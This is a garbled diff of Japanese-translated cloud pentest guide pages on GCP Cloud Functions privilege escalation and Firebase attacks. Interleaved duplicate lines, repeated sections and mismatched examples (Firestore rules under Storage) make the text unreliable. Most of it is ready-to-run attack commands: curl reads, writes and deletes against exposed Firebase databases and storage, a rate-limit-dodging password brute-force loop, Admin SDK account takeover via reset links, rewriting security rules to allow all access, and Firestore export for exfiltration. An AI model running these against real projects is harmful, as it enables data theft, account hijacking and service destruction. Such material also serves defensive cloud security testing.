> [!CAUTION]
|
||||
> In order to deploy cloud functions you will also need actAs permissions over the default compute service account or over the service account that is used to build the image.
|
||||
> cloud functions をデプロイするには、デフォルトの compute service account またはイメージのビルドに使用される service account に対する actAs 権限も必要です。
|
||||
|
||||
関数をトリガーするために、version 1 cloudfunctions の `.call` 権限やロール `role/run.invoker` のような追加権限が必要になる場合があります。
|
||||
|
||||
<details><summary>Update Cloud Function with malicious code to exfiltrate service account token</summary>
|
||||
関数をトリガーするために、version 1 cloudfunctions の `.call` 権限や、ロール `role/run.invoker` のような追加権限が必要になる場合があります。
|
||||
```bash
|
||||
# Create new code
|
||||
temp_dir=$(mktemp -d)
|
||||
@@ -56,18 +54,14 @@ gcloud functions deploy <cloudfunction-name> \
|
||||
# Get SA token calling the new function code
|
||||
gcloud functions call <cloudfunction-name>
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> エラー `Permission 'run.services.setIamPolicy' denied on resource...` が出る場合、それは `--allow-unauthenticated` パラメータを使用しており、そのための十分な権限がないことが原因です。
|
||||
> エラー `Permission 'run.services.setIamPolicy' denied on resource...` が出る場合、`--allow-unauthenticated` パラメータを使用しており、それに対する十分な権限がないことが原因です。
|
||||
|
||||
The exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py).
|
||||
|
||||
### `cloudfunctions.functions.sourceCodeSet`
|
||||
|
||||
この権限があれば、**関数用バケットにファイルをアップロードできる署名付きURLを取得できます(ただし関数のコード自体は変更されないため、別途更新する必要があります)**
|
||||
|
||||
<details><summary>Cloud Function用の署名付きアップロードURLを生成</summary>
|
||||
この権限があれば、**関数バケットにファイルをアップロードするための署名付きURL(ただし関数のコード自体は変更されず、別途アップデートする必要があります)を取得**できます。
|
||||
```bash
|
||||
# Generate the URL
|
||||
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
|
||||
@@ -75,21 +69,33 @@ curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/loca
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{}'
|
||||
```
|
||||
</details>
|
||||
|
||||
攻撃者の観点からこの権限だけがどれほど有用かははっきりしませんが、知っておくと良いです。
|
||||
この権限単体が攻撃者の観点でどれほど有用かははっきりしませんが、知っておくと良いでしょう。
|
||||
|
||||
### `cloudfunctions.functions.setIamPolicy` , `iam.serviceAccounts.actAs`
|
||||
|
||||
前述のいずれかの **`.update`** または **`.create`** 権限を自分に付与することで権限昇格できます。
|
||||
|
||||
先に挙げた**`.update`**または**`.create`**のいずれかの権限を自分に付与して、権限を昇格してください。
|
||||
```bash
|
||||
gcloud functions add-iam-policy-binding <NOMBRE_FUNCION> \
|
||||
--region=<REGION> \
|
||||
--member="<MIEMBRO>" \
|
||||
--role="roles/cloudfunctions.invoker"
|
||||
```
|
||||
### `cloudfunctions.functions.update`
|
||||
|
||||
単に **`cloudfunctions`** 権限のみを持ち、**`iam.serviceAccounts.actAs`** がない場合、関数を更新することはできません。したがって、これは有効なPRIVESCではありません。
|
||||
Only having **`cloudfunctions`** permissions, without **`iam.serviceAccounts.actAs`** you **関数を更新することはできません。したがって、これは有効な PRIVESC ではありません。**
|
||||
|
||||
### Read & Write Access over the bucket
|
||||
### 関数の呼び出し
|
||||
|
||||
バケットに対する読み書き権限があれば、コードの変更を監視でき、バケットで更新が発生した際には**新しいコードを自分のコードに置き換えることで**、提出したbackdooredコードで新しいバージョンのCloud Functionが実行されるようにできます。
|
||||
`cloudfunctions.functions.get`、`cloudfunctions.functions.invoke`、`run.jobs.run`、および run.routes.invoke の権限があれば、アイデンティティは Cloud Functions を直接呼び出すことができます。関数がパブリックトラフィックを許可しているか、呼び出し元が関数と同じネットワーク内にあることも必要です。
|
||||
```bash
|
||||
curl -X POST "https://<FUNCTION_URL>" \
|
||||
-H "Authorization: bearer $(gcloud auth print-identity-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{ "name": "Developer" }'
|
||||
```
|
||||
### バケットに対する読み取り・書き込みアクセス
|
||||
|
||||
バケットに対して読み取りおよび書き込みアクセスを持っている場合、コードの変更を監視でき、バケットが更新されるたびに**新しいコードを自分のコードに差し替えることができ**、その提出したbackdoored codeで新しいバージョンのCloud Functionが実行されるようにできます。
|
||||
|
||||
You can check more about the attack in:
|
||||
|
||||
@@ -97,16 +103,16 @@ You can check more about the attack in:
|
||||
gcp-storage-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
ただし、自分のアカウントでバケットを作成し、外部プロジェクトが書き込めるように公開権限を与えた場合、次のようなエラーが発生するため、これを使って第三者のCloud Functionsを事前に侵害することはできません:
|
||||
しかし、サードパーティのCloud Functionsを事前に乗っ取るためにこれを使うことはできません。自分のアカウントでバケットを作成して外部プロジェクトが書き込めるように公開権限を与えると、次のエラーになります:
|
||||
|
||||
<figure><img src="../../../images/image (1) (1) (1).png" alt="" width="304"><figcaption></figcaption></figure>
|
||||
|
||||
> [!CAUTION]
|
||||
> ただし、これはDoS攻撃に利用される可能性があります。
|
||||
|
||||
### Read & Write Access over Artifact Registry
|
||||
### Artifact Registry に対する読み取り・書き込みアクセス
|
||||
|
||||
Cloud Functionが作成されると、プロジェクトのArtifact Registryに新しいdockerイメージがプッシュされます。私はイメージを新しいものに置き換えたり、現在のイメージ(および `cache` イメージ)を削除してみましたが、何も変わらず、Cloud Functionは動作し続けました。したがって、バケットと同様に実行されるdockerコンテナを変更するために**Race Condition attackを悪用できる可能性がある**かもしれませんが、**保存されているイメージを単に変更するだけではCloud Functionを危険にさらすことはできません**。
|
||||
Cloud Function が作成されると、プロジェクトの Artifact Registry に新しい docker イメージがプッシュされます。私はイメージを別のものに差し替えたり、現在のイメージ(および `cache` イメージ)を削除してみましたが、何も変わらず Cloud Function は動作し続けました。したがって、バケットと同様に実行される docker コンテナを変更するために**Race Condition attack を悪用できる可能性がある**ものの、**格納されているイメージを単に変更するだけでは Cloud Function を乗っ取ることはできない**ようです。
|
||||
|
||||
## 参考
|
||||
|
||||
|
||||
@@ -0,0 +1,442 @@
|
||||
# GCP - Firebase Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Firebase
|
||||
|
||||
### Firebase Realtime Databaseへの未認証アクセス
|
||||
攻撃者はこの攻撃を実行するために特別なFirebaseの権限を必要としません。必要なのは、Firebase Realtime Databaseのセキュリティルールが脆弱に設定され、`.read: true` または `.write: true` により公開の読み取りまたは書き込みを許可していることだけです。
|
||||
|
||||
攻撃者はデータベースのURLを特定する必要があり、通常は次の形式になります: `https://<project-id>.firebaseio.com/`。
|
||||
|
||||
このURLは、mobile application reverse engineering (decompiling Android APKs or analyzing iOS apps)、google-services.json (Android) や GoogleService-Info.plist (iOS) といった設定ファイルの解析、webアプリケーションのソースコードの調査、またはネットワークトラフィックを調べて `*.firebaseio.com` ドメインへのリクエストを特定することで見つけられます。
|
||||
|
||||
攻撃者はデータベースのURLを特定し、それが公開されているかどうかを確認してからデータにアクセスし、場合によっては悪意のある情報を書き込みます。
|
||||
|
||||
まず、URLに .json を追加してデータベースが読み取りを許可しているかを確認します。
|
||||
```bash
|
||||
curl https://<project-id>-default-rtdb.firebaseio.com/.json
|
||||
```
|
||||
レスポンスが JSON データまたは null("Permission Denied" の代わりに)を含む場合、データベースは読み取りアクセスを許可しています。書き込みアクセスを確認するには、攻撃者は Firebase REST API を使ってテスト書き込みリクエストを送信してみることができます。
|
||||
```bash
|
||||
curl -X PUT https://<project-id>-default-rtdb.firebaseio.com/test.json -d '{"test": "data"}'
|
||||
```
|
||||
操作が成功した場合、データベースは書き込みアクセスも許可します。
|
||||
|
||||
|
||||
### Cloud Firestore におけるデータの露出
|
||||
攻撃者はこの攻撃を実行するために特定の Firebase の権限を必要としません。必要なのは、認証なし、または検証が不十分な状態で読み取りまたは書き込みを許可する Cloud Firestore のセキュリティルールに脆弱な設定が存在することだけです。完全なアクセスを付与する誤った設定のルールの例は次のとおりです:
|
||||
```bash
|
||||
service cloud.firestore {
|
||||
match /databases/{database}/documents/{document=**} {
|
||||
allow read, write: if true;
|
||||
}
|
||||
}
|
||||
```
|
||||
このルールは、誰でもあらゆる制限なしにすべてのドキュメントを読み書きできるようにします。 Firestore rulesは粒度が細かく、コレクションやドキュメントごとに適用されるため、特定のルールの誤りが一部のコレクションのみを露出する可能性があります。
|
||||
|
||||
攻撃者は Firebase Project ID を特定する必要があり、これは mobile app reverse engineering、google-services.json や GoogleService-Info.plist のような設定ファイルの解析、ウェブアプリのソースコードの調査、または firestore.googleapis.com へのリクエストを特定するためのネットワークトラフィック解析などから見つけることができます。
|
||||
The Firestore REST API uses the format:
|
||||
```bash
|
||||
https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
|
||||
```
|
||||
ルールが認証なしの読み取りアクセスを許可している場合、攻撃者はコレクションとドキュメントを読み取ることができます。まず、特定のコレクションにアクセスしようとします:
|
||||
```bash
|
||||
curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>
|
||||
```
|
||||
レスポンスが権限エラーではなくJSONドキュメントを含む場合、そのコレクションは公開されています。攻撃者は一般的な名前を試すかアプリケーションの構造を解析することで、アクセス可能なすべてのコレクションを列挙できます。特定のドキュメントにアクセスするには:
|
||||
```bash
|
||||
curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
|
||||
```
|
||||
ルールが未認証の書き込みアクセスを許可しているか、バリデーションが不十分な場合、攻撃者は新しいドキュメントを作成できます:
|
||||
```bash
|
||||
curl -X POST https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection> \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"fields": {
|
||||
"name": {"stringValue": "Test"},
|
||||
"email": {"stringValue": "test@example.com"}
|
||||
}
|
||||
}'
|
||||
```
|
||||
既存のドキュメントを変更するには PATCH を使用します:
|
||||
```bash
|
||||
curl -X PATCH https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/users/<user-id> \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"fields": {
|
||||
"role": {"stringValue": "admin"}
|
||||
}
|
||||
}'
|
||||
```
|
||||
ドキュメントを削除してサービス拒否を引き起こすには:
|
||||
```bash
|
||||
curl -X DELETE https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
|
||||
```
|
||||
### Firebase Storageにおけるファイルの露出
|
||||
攻撃者はこの攻撃を実行するために特定のFirebase権限を必要としません。必要なのは、Firebase Storageのセキュリティルールに脆弱な設定があり、認証なしまたは検証が不十分な状態でread or write accessを許可していることだけです。Storage rulesはreadとwriteの権限を独立して制御するため、ルールの誤りによりread accessのみ、write accessのみ、あるいは両方が公開される可能性があります。完全なアクセスを許可する誤設定されたルールの例は次のとおりです:
|
||||
```bash
|
||||
service cloud.firestore {
|
||||
match /databases/{database}/documents/{document=**} {
|
||||
allow read, write: if true;
|
||||
}
|
||||
}
|
||||
```
|
||||
このルールは、すべてのドキュメントに対して制限なく読み取りおよび書き込みアクセスを許可します。Firestore のルールは細かく、コレクション単位およびドキュメント単位で適用されるため、特定のルールの誤りは一部のコレクションのみが公開される可能性があります。attacker は Firebase Project ID を特定する必要があり、これは mobile application reverse engineering、google-services.json や GoogleService-Info.plist といった設定ファイルの解析、web アプリケーションのソースコードの検査、あるいは firestore.googleapis.com へのリクエストを特定するためのネットワークトラフィック解析などによって見つけられます。
|
||||
Firestore REST API は次の形式を使用します: `https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>.`
|
||||
|
||||
ルールが unauthenticated 読み取りアクセスを許可している場合、attacker はコレクションやドキュメントを読み取ることができます。まず attacker は特定のコレクションにアクセスを試みます。
|
||||
```bash
|
||||
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o"
|
||||
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?prefix=<path>"
|
||||
```
|
||||
レスポンスが permission error の代わりにファイル一覧を返す場合、そのファイルは露出しています。attacker はパスを指定することでファイルの内容を閲覧できます:
|
||||
```bash
|
||||
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<urlencode(path)>"
|
||||
```
|
||||
ルールが認証されていない書き込みアクセスを許可しているか、検証が不十分な場合、攻撃者は悪意のあるファイルをアップロードできます。REST API を経由してファイルをアップロードするには:
|
||||
```bash
|
||||
curl -X POST "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?name=<path>" \
|
||||
-H "Content-Type: <content-type>" \
|
||||
--data-binary @<local-file>
|
||||
```
|
||||
攻撃者は code shells、malware payloads、または大きなファイルをアップロードして denial of service を引き起こすことができます。アプリケーションがアップロードされたファイルを処理または実行する場合、攻撃者は remote code execution を達成する可能性があります。ファイルを削除して denial of service を引き起こすには:
|
||||
```bash
|
||||
curl -X DELETE "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<path>"
|
||||
```
|
||||
### 公開された Firebase Cloud Functions の呼び出し
|
||||
攻撃者はこの問題を悪用するために特別な Firebase の権限を必要としません。必要なのは、Cloud Function が認証なしで HTTP 経由で公開されていることだけです。
|
||||
|
||||
関数は次のように不適切に構成されていると脆弱になります:
|
||||
|
||||
- functions.https.onRequest を使用しており、認証を強制しません(onCall functions と異なり)。
|
||||
- 関数のコードがユーザー認証を検証していない(例: request.auth や context.auth のチェックがない)。
|
||||
- 関数が IAM 上で公開されており、allUsers が roles/cloudfunctions.invoker ロールを持っている。これは、開発者がアクセスを制限しない限り、HTTP functions のデフォルトの挙動です。
|
||||
|
||||
Firebase HTTP Cloud Functions は次のような URL を通じて公開されます:
|
||||
|
||||
- https://<region>-<project-id>.cloudfunctions.net/<function-name>
|
||||
- https://<project-id>.web.app/<function-name> (when integrated with Firebase Hosting)
|
||||
|
||||
攻撃者はソースコード解析、ネットワークトラフィックの解析、列挙ツール、またはモバイルアプリのリバースエンジニアリングを通じてこれらの URL を発見できます。
|
||||
関数が公開されていて認証が不要な場合、攻撃者は資格情報なしで直接呼び出すことができます。
|
||||
```bash
|
||||
# Invoke public HTTP function with GET
|
||||
curl "https://<region>-<project-id>.cloudfunctions.net/<function-name>"
|
||||
# Invoke public HTTP function with POST and data
|
||||
curl -X POST "https://<region>-<project-id>.cloudfunctions.net/<function-name>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"param1": "value1", "param2": "value2"}'
|
||||
```
|
||||
関数が入力を適切に検証しない場合、攻撃者は code injection や command injection などの他の攻撃を試みる可能性があります。
|
||||
|
||||
### 弱いパスワードポリシーを持つ Firebase Authentication に対するブルートフォース攻撃
|
||||
攻撃を実行するために攻撃者が特別な Firebase 権限を必要とすることはありません。必要なのは、Firebase API Key がモバイルや web アプリケーションで公開されていること、そしてパスワードポリシーがデフォルト以上に厳しく設定されていないことだけです。
|
||||
|
||||
攻撃者は Firebase API Key を特定する必要があり、それは mobile app reverse engineering、google-services.json や GoogleService-Info.plist のような設定ファイルの解析、web アプリケーションのソースコードの確認(例: bootstrap.js)、またはネットワークトラフィックの解析によって見つけることができます。
|
||||
|
||||
Firebase Authentication の REST API は次のエンドポイントを使用して、email と password で認証します:
|
||||
`https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>`
|
||||
|
||||
Email Enumeration Protection が無効になっている場合、API のエラー応答はメールアドレスがシステムに存在するかどうかを示すことがあり(EMAIL_NOT_FOUND と INVALID_PASSWORD の違い)、これにより攻撃者はパスワード推測を試みる前にユーザーを列挙できます。この保護が有効な場合、API は存在しないメールアドレスと誤ったパスワードの両方に対して同じエラーメッセージを返し、ユーザー列挙を防ぎます。
|
||||
|
||||
Firebase Authentication は rate limiting を強制することに注意してください。短時間に認証試行が多数行われるとリクエストがブロックされる可能性があります。このため、攻撃者はレート制限を受けないように試行間に遅延を挿入する必要があります。
|
||||
|
||||
攻撃者は API Key を特定し、既知のアカウントに対して複数のパスワードで認証試行を行います。Email Enumeration Protection が無効な場合、攻撃者はエラー応答を解析することで既存のユーザーを列挙できます:
|
||||
```bash
|
||||
# Attempt authentication with a known email and an incorrect password
|
||||
curl -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"email": "usuario@example.com",
|
||||
"password": "password",
|
||||
"returnSecureToken": true
|
||||
}'
|
||||
```
|
||||
レスポンスに EMAIL_NOT_FOUND が含まれている場合、そのメールはシステムに存在しません。レスポンスに INVALID_PASSWORD が含まれている場合、そのメールは存在しますがパスワードが間違っており、ユーザーが登録されていることが確認できます。一度有効なユーザーが特定されると、攻撃者は brute-force を試みることができます。Firebase Authentication のレート制限機構を回避するため、試行の間に一時停止を入れることが重要です:
|
||||
```bash
|
||||
counter=1
|
||||
for password in $(cat wordlist.txt); do
|
||||
echo "Intento $counter: probando contraseña '$password'"
|
||||
response=$(curl -s -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d "{\"email\":\"usuario@example.com\",\"password\":\"$password\",\"returnSecureToken\":true}")
|
||||
|
||||
if echo "$response" | grep -q "idToken"; then
|
||||
echo "Contraseña encontrada: $password (intento $counter)"
|
||||
break
|
||||
fi
|
||||
|
||||
# Stop for the rate limiting
|
||||
sleep 1
|
||||
counter=$((counter + 1))
|
||||
done
|
||||
```
|
||||
デフォルトのパスワードポリシー(minimum 6 characters、複雑さの要件なし)では、attackerはすべての6文字パスワードの組み合わせを試すことが可能で、これはより厳しいパスワードポリシーと比べて比較的小さな探索空間を意味します。
|
||||
|
||||
### Firebase Authentication におけるユーザー管理
|
||||
|
||||
この攻撃を実行するために、attackerはFirebase Authenticationに対する特定の権限が必要です。必要な権限は次のとおりです:
|
||||
|
||||
- `firebaseauth.users.create` — ユーザーを作成するため
|
||||
- `firebaseauth.users.update` — 既存ユーザーを変更するため
|
||||
- `firebaseauth.users.delete` — ユーザーを削除するため
|
||||
- `firebaseauth.users.get` — ユーザー情報を取得するため
|
||||
- `firebaseauth.users.sendEmail` — ユーザーへメールを送信するため
|
||||
- `firebaseauth.users.createSession` — ユーザーセッションを作成するため
|
||||
|
||||
これらの権限は `roles/firebaseauth.admin` ロールに含まれており、Firebase Authentication リソースへの完全な読み書きアクセスを付与します。さらに、これらはより上位のロール(例えば roles/firebase.developAdmin(which includes all firebaseauth.* permissions)や roles/firebase.admin(full access to all Firebase services)など)にも含まれます。
|
||||
|
||||
Firebase Admin SDK を使用するには、attackerはサービスアカウントの資格情報(JSONファイル)へのアクセスを必要とします。これらの資格情報は、侵害されたシステム、公開されたコードリポジトリ、侵害された CI/CD システム、あるいはこれらの資格情報にアクセスできる開発者アカウントの侵害を通じて見つかる可能性があります。
|
||||
|
||||
最初のステップは、サービスアカウントの資格情報を使って Firebase Admin SDK を設定することです。
|
||||
```bash
|
||||
import firebase_admin
|
||||
from firebase_admin import credentials, auth
|
||||
cred = credentials.Certificate('path/to/serviceAccountKey.json')
|
||||
firebase_admin.initialize_app(cred)
|
||||
```
|
||||
被害者のメールアドレスを使って悪意のあるユーザーを作成するため、攻撃者は Firebase Admin SDK を使ってそのメールアドレスで新しいアカウントを生成しようとします。
|
||||
```bash
|
||||
user = auth.create_user(
|
||||
email='victima@example.com',
|
||||
email_verified=False,
|
||||
password='password123',
|
||||
display_name='Usuario Malicioso',
|
||||
disabled=False
|
||||
)
|
||||
print(f'Usuario creado: {user.uid}')
|
||||
```
|
||||
既存のユーザーを変更するには、attacker はメールアドレス、確認ステータス、アカウントが無効化されているかどうかなどのフィールドを更新します。
|
||||
```bash
|
||||
user = auth.update_user(
|
||||
uid,
|
||||
email='nuevo-email@example.com',
|
||||
email_verified=True,
|
||||
disabled=False
|
||||
)
|
||||
print(f'Usuario actualizado: {user.uid}')
|
||||
```
|
||||
ユーザーアカウントを削除して denial of service を引き起こすために、攻撃者はそのユーザーを完全に削除するリクエストを発行します。
|
||||
```bash
|
||||
auth.delete_user(uid)
|
||||
print('Usuario eliminado exitosamente')
|
||||
```
|
||||
attackerは、UIDやemail addressを指定して既存ユーザーの情報を取得することもできます。
|
||||
```bash
|
||||
user = auth.get_user(uid)
|
||||
print(f'Información del usuario: {user.uid}, {user.email}')
|
||||
user = auth.get_user_by_email('usuario@example.com')
|
||||
print(f'Información del usuario: {user.uid}, {user.email}')
|
||||
```
|
||||
さらに、攻撃者は確認用リンクやパスワードリセットリンクを生成して、ユーザーのパスワードを変更し、そのアカウントにアクセスすることができる。
|
||||
```bash
|
||||
link = auth.generate_email_verification_link(email)
|
||||
print(f'Link de verificación: {link}')
|
||||
link = auth.generate_password_reset_link(email)
|
||||
print(f'Link de reset: {link}')
|
||||
```
|
||||
### Firebase Authentication におけるユーザー管理
|
||||
攻撃者はこの攻撃を実行するために特定の Firebase Authentication の権限が必要です。必要な権限は次のとおりです。
|
||||
|
||||
- `firebaseauth.users.create` ユーザーを作成するため
|
||||
- `firebaseauth.users.update` 既存ユーザーを変更するため
|
||||
- `firebaseauth.users.delete` ユーザーを削除するため
|
||||
- `firebaseauth.users.get` ユーザー情報を取得するため
|
||||
- `firebaseauth.users.sendEmail` ユーザーにメールを送信するため
|
||||
- `firebaseauth.users.createSession` ユーザーセッションを作成するため
|
||||
|
||||
これらの権限は roles/firebaseauth.admin ロールに含まれており、Firebase Authentication リソースへの完全な読み書き権限を付与します。また、`roles/firebase.developAdmin`(すべての firebaseauth.* 権限を含む)や `roles/firebase.admin`(すべての Firebase サービスへのフルアクセス)といった上位のロールにも含まれます。
|
||||
|
||||
Firebase Admin SDK を使用するには、攻撃者はサービスアカウントの資格情報(JSON ファイル)へのアクセスが必要です。これらは、侵害されたシステム、公開されたコードリポジトリ、侵害された CI/CD 環境、またはこれらの資格情報にアクセスできる開発者アカウントの侵害から入手される可能性があります。
|
||||
|
||||
最初のステップは、サービスアカウントの資格情報を使って Firebase Admin SDK を設定することです。
|
||||
```bash
|
||||
import firebase_admin
|
||||
from firebase_admin import credentials, auth
|
||||
cred = credentials.Certificate('path/to/serviceAccountKey.json')
|
||||
firebase_admin.initialize_app(cred)
|
||||
```
|
||||
攻撃者はvictimのemailを使ってmalicious userを作成するため、そのemailで新しいuser accountを作成し、自分のpasswordとprofile informationを割り当てようとします。
|
||||
```bash
|
||||
user = auth.create_user(
|
||||
email='victima@example.com',
|
||||
email_verified=False,
|
||||
password='password123',
|
||||
display_name='Usuario Malicioso',
|
||||
disabled=False
|
||||
)
|
||||
print(f'Usuario creado: {user.uid}')
|
||||
```
|
||||
既存のユーザーを変更するには、attacker はメールアドレス、検証ステータス、またはアカウントが無効化されているかどうかといったフィールドを変更します。
|
||||
```bash
|
||||
user = auth.update_user(
|
||||
uid,
|
||||
email='nuevo-email@example.com',
|
||||
email_verified=True,
|
||||
disabled=False
|
||||
)
|
||||
print(f'Usuario actualizado: {user.uid}')
|
||||
```
|
||||
ユーザーアカウントを削除することで—実質的に denial of service を引き起こすことになり—攻撃者はそのユーザーを恒久的に削除するリクエストを発行します。
|
||||
```bash
|
||||
auth.delete_user(uid)
|
||||
print('Usuario eliminado exitosamente')
|
||||
```
|
||||
攻撃者は、UID または email アドレスでユーザーの詳細を要求することで、既存ユーザーの情報(UID や email など)を取得することも可能です。
|
||||
```bash
|
||||
user = auth.get_user(uid)
|
||||
print(f'Información del usuario: {user.uid}, {user.email}')
|
||||
user = auth.get_user_by_email('usuario@example.com')
|
||||
print(f'Información del usuario: {user.uid}, {user.email}')
|
||||
```
|
||||
さらに、攻撃者は verification links や password-reset links を生成し、ユーザーのパスワードを変更してアカウントを掌握することができます。
|
||||
```bash
|
||||
link = auth.generate_email_verification_link(email)
|
||||
print(f'Link de verificación: {link}')
|
||||
link = auth.generate_password_reset_link(email)
|
||||
print(f'Link de reset: {link}')
|
||||
```
|
||||
### Firebaseサービスにおけるセキュリティルールの変更
|
||||
攻撃者は、サービスに応じてセキュリティルールを変更するための特定の権限が必要です。Cloud Firestore と Firebase Cloud Storage では、ruleset を作成するための `firebaserules.rulesets.create` と、releases をデプロイするための `firebaserules.releases.create` が必要です。これらの権限は `roles/firebaserules.admin` ロール、または `roles/firebase.developAdmin` や `roles/firebase.admin` のような上位ロールに含まれます。Firebase Realtime Database の場合、必要な権限は `firebasedatabase.instances.update` です。
|
||||
|
||||
攻撃者は Firebase REST API を使ってセキュリティルールを変更する必要があります。まず、攻撃者は service account credentials を使って access token を取得する必要があります。トークンを取得するには:
|
||||
```bash
|
||||
gcloud auth activate-service-account --key-file=path/to/serviceAccountKey.json
|
||||
ACCESS_TOKEN=$(gcloud auth print-access-token)
|
||||
```
|
||||
Firebase Realtime Database のルールを変更するには:
|
||||
```bash
|
||||
curl -X PUT "https://<project-id>-default-rtdb.firebaseio.com/.settings/rules.json?access_token=$ACCESS_TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"rules": {
|
||||
".read": true,
|
||||
".write": true
|
||||
}
|
||||
}'
|
||||
```
|
||||
Cloud Firestore のルールを変更するには、攻撃者は ruleset を作成してからデプロイする必要があります:
|
||||
```bash
|
||||
curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
|
||||
-H "Authorization: Bearer $ACCESS_TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"source": {
|
||||
"files": [{
|
||||
"name": "firestore.rules",
|
||||
"content": "rules_version = '\''2'\'';\nservice cloud.firestore {\n match /databases/{database}/documents {\n match /{document=**} {\n allow read, write: if true;\n }\n }\n}"
|
||||
}]
|
||||
}
|
||||
}'
|
||||
```
|
||||
前のコマンドは projects/<project-id>/rulesets/<ruleset-id> の形式の ruleset 名を返します。新しいバージョンをデプロイするには、リリースを PATCH リクエストで更新する必要があります:
|
||||
```bash
|
||||
curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/cloud.firestore" \
|
||||
-H "Authorization: Bearer $ACCESS_TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"release": {
|
||||
"name": "projects/<project-id>/releases/cloud.firestore",
|
||||
"rulesetName": "projects/<project-id>/rulesets/<ruleset-id>"
|
||||
}
|
||||
}'
|
||||
```
|
||||
Firebase Cloud Storage のルールを変更するには:
|
||||
```bash
|
||||
curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
|
||||
-H "Authorization: Bearer $ACCESS_TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"source": {
|
||||
"files": [{
|
||||
"name": "storage.rules",
|
||||
"content": "service firebase.storage {\n match /b/{bucket}/o {\n match /{allPaths=**} {\n allow read, write: if true;\n }\n }\n}"
|
||||
}]
|
||||
}
|
||||
}'
|
||||
```
|
||||
前のコマンドは projects/<project-id>/rulesets/<ruleset-id> の形式で ruleset 名を返します。新しいバージョンをデプロイするには、release を PATCH リクエストで更新する必要があります:
|
||||
```bash
|
||||
curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/firebase.storage/<bucket-id>" \
|
||||
-H "Authorization: Bearer $ACCESS_TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"release": {
|
||||
"name": "projects/<project-id>/releases/firebase.storage/<bucket-id>",
|
||||
"rulesetName": "projects/<project-id>/rulesets/<ruleset-id>"
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Cloud Firestoreにおけるデータの持ち出しと操作
|
||||
Cloud FirestoreはCloud Datastoreと同じインフラおよび権限システムを使用するため、Datastore IAM権限はそのままFirestoreに適用されます。TTLポリシーを操作するには`datastore.indexes.update`権限が必要です。データをエクスポートするには`datastore.databases.export`権限が必要です。データをインポートするには the datastore.databases.import permission is required。大量データ削除を行うには`datastore.databases.bulkDelete`権限が必要です。
|
||||
|
||||
バックアップと復元操作では、以下の特定の権限が必要です:
|
||||
|
||||
- `datastore.backups.get` と `datastore.backups.list` — 利用可能なバックアップの一覧取得と詳細確認
|
||||
- `datastore.backups.delete` — バックアップの削除
|
||||
- `datastore.backups.restoreDatabase` — バックアップからのデータベース復元
|
||||
- `datastore.backupSchedules.create` と `datastore.backupSchedules.delete` — バックアップスケジュールの管理
|
||||
|
||||
TTLポリシーを作成する際、削除対象となるエンティティを識別するためのプロパティを指定します。このTTLプロパティは日付と時刻の型でなければなりません。攻撃者は既存のプロパティを選ぶことも、後で追加する予定のプロパティを指定することもできます。フィールドの値が過去の日付であれば、そのドキュメントは即時削除の対象になります。攻撃者はgcloud CLIを使ってTTLポリシーを操作できます。
|
||||
```bash
|
||||
# Enable TTL
|
||||
gcloud firestore fields ttls update expireAt \
|
||||
--collection-group=users \
|
||||
--enable-ttl
|
||||
# Disable TTL
|
||||
gcloud firestore fields ttls update expireAt \
|
||||
--collection-group=users \
|
||||
--disable-ttl
|
||||
```
|
||||
データをエクスポートしてexfiltrateするには、攻撃者は gcloud CLI を使用できます。
|
||||
```bash
|
||||
gcloud firestore export gs://<bucket-name> --project=<project-id> --async --database='(default)'
|
||||
```
|
||||
悪意のあるデータをインポートするには:
|
||||
```bash
|
||||
gcloud firestore import gs://<bucket-name>/<path> --project=<project-id> --async --database='(default)'
|
||||
```
|
||||
大量のデータ削除を行い、denial of service を引き起こすために、攻撃者は gcloud Firestore bulk-delete tool を使用してコレクション全体を削除することができる。
|
||||
```bash
|
||||
gcloud firestore bulk-delete \
|
||||
